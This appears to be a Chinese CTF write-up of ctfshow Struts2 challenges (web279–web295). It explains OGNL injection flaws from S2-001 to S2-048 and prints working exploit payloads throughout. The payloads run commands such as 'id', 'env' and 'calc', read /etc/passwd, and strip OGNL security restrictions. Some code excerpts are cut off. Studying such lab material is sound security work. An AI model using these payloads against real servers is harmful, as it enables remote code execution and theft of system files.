java study
web279
点进去发现一个登录框
没思路 看wp
了解下
Struts2是用Java语言编写的一个基于MVC设计模式的Web应用框架
描述:
struts2漏洞 S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据。例如,在注册或登录页面中。如果提交失败,则服务器通常默认情况下将返回先前提交的数据。由于服务器用于%{value}对提交的数据执行OGNL表达式解析,因此服务器可以直接发送有效载荷来执行命令。 |
在这里提到了 OGNL 表达式
OGNL(Object-Graph Navigation Language)是一种用于在Java应用程序中访问和操作对象图的表达式语言。OGNL最初是由Drew Davidson和Luke Blanshard开发的,主要用于Java的对象属性访问和修改,类似于其他表达式语言如JSTL、EL等。OGNL表达式可以用来简化对复杂对象结构的访问和操作,非常适合于MVC框架中绑定表单数据到模型对象的场景 |
OGNL 表达式的基本功能
- 对象属性访问:使用
.
(点号)访问对象的属性。例如,person.name
可以获取person
对象的name
属性。 - 集合和数组访问:OGNL 支持通过索引访问集合和数组中的元素。例如,
list[0]
可以访问列表中的第一个元素。 - 方法调用:OGNL 可以调用对象的方法。例如,
person.getName()
可以调用person
对象的getName()
方法。 - 操作符支持:OGNL 支持多种操作符,例如算术操作符(
+
,-
,*
,/
),逻辑操作符(&&
,||
),比较操作符(==
,!=
,>
,<
)等。 - 上下文变量:OGNL 支持通过
#
访问上下文变量。例如,#root
访问当前的根对象,#this
访问当前的对象。 - 表达式求值:可以使用OGNL表达式直接求值或进行复杂的逻辑运算。
- 对象属性访问:使用
我们在这里简单的了解下这个表达式
如何分辨这种类型的漏洞的
1.常见的action.do后缀结尾 |
s2-001是一个struts2命令执行漏洞编号,漏洞介绍:https://www.freebuf.com/column/224041.html
漏洞部分代码
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) { |
int start = expression.indexOf(open + "{");//尝试在字符串 expression 中找到一个复合字符串的起始位置,该复合字符串是由变量 open 和 "{" 组合而成的。 |
Object o = stack.findValue(var, asType); |
简单来说就是你输出给password的是OGNL 表达式 这样一大串代码会直接执行你的代码
例如我们执行一个**%{1-1}**
发现回显一个0
根据上面的OGNL 表达的用法(用下wp的payload)参考:https://blog.csdn.net/q20010619/article/details/120729447
// 获取tomcat路径 |
web280
这个漏洞有个检测工具后
下载地址:https://github.com/abc123info/Struts2VulsScanTools/releases
S2-003
Struts2将HTTP的每个参数名解析为ognl语句执行,而ognl表达式是通过#来访问struts的对象,Struts2框架虽然过滤了#来进行过滤,但是可以通过unicode编码(u0023)或8进制(43)绕过了安全限制,达到代码执行的效果 |
S2-005
S2-005和S2-003的原理是类似的,因为官方在修补S2-003不全面,导致用户可以绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成的漏洞,可以说是升级版的S2-005是升级版的S2-003 |
Struts2框架在处理表单数据时,会将表单数据绑定到Action对象的相应属性上。攻击者可以通过在表单中提交特定的字符串,从而绕过Struts2的安全过滤机制,直接执行任意代码
工具展示
web281
工具解决即可
了解下漏洞S2-007
当用户提交 age 为字符串而非整形数值时,后端用代码拼接 "'" + value + "'" 然后对其进行 OGNL 表达式解析。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQLi 注入单引号拼接的方式即可注入任意 OGNL 表达式。 |
age 框执行了命令
web282
S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的。
姿势1:cookie
Cookie:('#_memberAccess.setAllowStaticMethodAccess(true)')(1)(2)=Aluvion; ('@java.lang.Runtime@getRuntime().exec("calc")')(1)(2)=Twings; |
姿势2:调试模式
devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29) |
web283
漏洞原理:
Struts2对s2-003的修复方法是禁止静态方法调用,在s2-005中可直接通过OGNL绕过该限制,对于#号,同样使用编码\u0023或\43进行绕过;于是Struts2对s2-005的修复方法是禁止\等特殊符号,使用户不能提交反斜线。
但是,如果当前action中接受了某个参数example,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example参数中,然后使用/helloword.acton?example=
访问http://your-ip:8080/ajax/example5.action即可访问该控制器。按照原理中说到的方法,将OGNL利用代码放在name参数里
poc
?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true |
工具直接出
web284
由url可以得知漏洞是S2-012
漏洞原理:
如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如:、
poc:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} |
web285
Struts2 标签中 <s:a> 和 <s:url> 都包含一个 includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下:
none - 链接不包含请求的任意参数值(默认)
get - 链接只包含 GET 请求中的参数和其值
all - 链接包含 GET 和 POST 所有参数和其值
<s:a>用来显示一个超链接,当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞。
poc:
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())} |
感觉工具都能直接写出来 后面的就不写了
web295:S2-048
poc:%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)} |